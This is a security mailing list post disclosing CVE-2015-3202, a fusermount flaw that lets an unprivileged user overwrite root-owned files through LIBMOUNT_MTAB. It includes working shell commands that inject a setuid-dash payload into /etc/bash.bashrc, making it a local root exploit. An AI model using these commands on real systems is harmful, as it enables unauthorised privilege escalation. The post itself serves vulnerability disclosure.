Date: Thu, 21 May 2015 09:55:16 -0700 From: Tavis Ormandy <taviso@...gle.com> To: oss-security@...ts.openwall.com Subject: CVE-2015-3202 fuse privilege escalation Hello, this was discussed on the distros list last week. The fusermount binary calls setuid(geteuid()) to reset the ruid when it invokes /bin/mount so that it can use privileged mount options that are normally restricted if ruid != euid. That's acceptable (but scary) in theory, because fusermount can sanitize the call to make sure it's safe. http://sources.debian.net/src/fuse/2.9.3-15/util/mount_util.c/?hl=99#L99 However, because mount thinks it's being invoked by root, it allows access to debugging features via the environment that would not normally be safe for unprivileged users and fusermount doesn't sanitize them. Therefore, the bug is that the environment is not cleared when calling mount with ruid=0. One debugging feature available is changing the location of /etc/mtab by setting LIBMOUNT_MTAB, which can be abused to overwrite arbitrary files. This can be exploited like so. $ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit $ mkdir -p '/tmp/exploit||/tmp/exploit' $ LIBMOUNT_MTAB=/etc/bash.bashrc _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit' fusermount: failed to open /etc/fuse.conf: Permission denied sending file descriptor: Socket operation on non-socket $ cat /etc/bash.bashrc /dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0 Then simply wait for root to login, or alternatively overwrite /etc/default/locale and wait for cron to run a script that sources it. That means root wouldn't have to log in, but you would have to wait around until midnight to check if it worked. Tavis. P.S. Just for fun, I also came up with a version that fits in a tweet https://twitter.com/taviso/status/601370527437967360
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